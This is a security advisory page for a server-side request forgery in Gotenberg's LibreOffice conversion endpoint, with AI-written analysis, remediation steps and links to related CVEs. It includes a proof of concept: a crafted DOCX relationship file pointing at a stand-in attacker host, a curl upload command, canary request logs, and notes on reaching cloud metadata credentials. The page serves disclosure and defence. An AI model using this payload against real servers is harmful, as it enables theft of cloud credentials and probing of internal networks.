Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles - Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.
This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.
Details
When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():
err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs - but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.
OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.
Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess - no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.
PoC
Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.
word/_rels/document.xml.rels:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId10"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://ATTACKER:9877/ssrf"
TargetMode="External"/>
</Relationships>word/document.xml (references the external image via r:link):
<w:drawing>
<wp:inline distT="0" distB="0" distL="0" distR="0">
<wp:extent cx="914400" cy="914400"/>
<wp:docPr id="1" name="Picture 1"/>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
<pic:pic>
<pic:nvPicPr>
<pic:cNvPr id="1" name="ssrf.png"/>
<pic:cNvPicPr/>
</pic:nvPicPr>
<pic:blipFill>
<a:blip r:link="rId10"/>
<a:stretch><a:fillRect/></a:stretch>
</pic:blipFill>
<pic:spPr>
<a:xfrm>
<a:off x="0" y="0"/>
<a:ext cx="914400" cy="914400"/>
</a:xfrm>
<a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
</pic:spPr>
</pic:pic>
</a:graphicData>
</a:graphic>
</wp:inline>
</w:drawing>Pack into a valid DOCX zip and send:
curl -s -o output.pdf \
http://TARGET:3000/forms/libreoffice/convert \
--form files=@ssrf_test.docxCanary server immediately shows LibreOffice reaching out:
OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.
Impact
LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:
- Hit internal services - localhost, 10.x, 192.168.x, whatever the container can reach
- Grab cloud metadata at
http://169.254.169.254/(AWS/GCP/Azure IAM creds) - Port scan the internal network via response timing
- The v8.31.0 SSRF hardening doesn't help here at all - it only covers Go HTTP calls, not LibreOffice's own connections
Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.
AnalysisAI
Server-Side Request Forgery in Gotenberg's LibreOffice conversion endpoint allows remote attackers to make arbitrary HTTP requests from the server to internal networks and cloud metadata endpoints. Attackers upload specially crafted Office documents (DOCX, XLSX, PPTX) with embedded external URL references that LibreOffice fetches during PDF conversion, completely bypassing the SSRF protections introduced in v8.31.0. Publicly available exploit code exists with detailed proof-of-concept showing three successful HTTP requests to attacker-controlled servers. The vulnerability enables exfiltration of cloud IAM credentials from metadata services (169.254.169.254), internal service enumeration, and network reconnaissance without authentication. CVSS 8.2 with network vector and no privileges required reflects accurate real-world risk given documented exploitation method and lack of vendor-released patch.
Technical ContextAI
Gotenberg is a Docker-based API service written in Go that converts documents to PDF using embedded LibreOffice and Chromium engines. The vulnerability exists in the /forms/libreoffice/convert endpoint which accepts Office Open XML (OOXML) documents - ZIP archives containing XML relationship files. OOXML formats (.docx, .xlsx, .pptx) support external resource references via TargetMode='External' attributes in _rels/*.rels files. When LibreOffice processes these documents for PDF conversion, it uses libcurl to fetch external URLs embedded in image references, hyperlinks, or linked objects. The SSRF hardening introduced in v8.31.0 wraps Go's http.Client with custom dialers that validate outbound URLs and reject RFC 1918 private addresses, but this protection layer operates only within the Go runtime. LibreOffice runs as a separate subprocess making independent HTTP connections through its own network stack, so the Go-level dial hooks cannot intercept or filter these requests. This architectural gap creates CWE-918 (Server-Side Request Forgery) exposure through unvalidated document content passed to external conversion tools.
RemediationAI
Upstream fix available (PR/commit); released patched version not independently confirmed - monitor https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw for official release announcements. Implement immediate compensating controls: (1) Run LibreOffice subprocess with network namespace isolation using 'unshare --net' to completely block outbound connections - requires modifying container startup or Gotenberg configuration to wrap libreOffice.Pdf() calls, side effect is legitimate external resources in documents will fail to load but PDF conversion completes. (2) Deploy network-level egress filtering to block Gotenberg containers from reaching RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local addresses (169.254.0.0/16), and localhost - configure firewall rules or Kubernetes NetworkPolicies to whitelist only necessary external destinations. (3) Implement input validation by inspecting uploaded OOXML files (unzip and parse _rels/*.rels XML) to detect TargetMode='External' attributes and reject or strip those relationships before conversion - adds processing overhead and requires ZIP handling logic. (4) If feasible, restrict the /forms/libreoffice/convert endpoint to authenticated users only and audit all conversion requests - reduces attack surface but does not prevent authenticated abuse. Trade-offs: namespace isolation is most effective but may break legitimate use cases requiring external fonts or resources; egress filtering provides defense-in-depth but requires infrastructure changes; input scanning creates performance impact and must handle all OOXML variants correctly.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30309
GHSA-rm4c-xj6x-49mw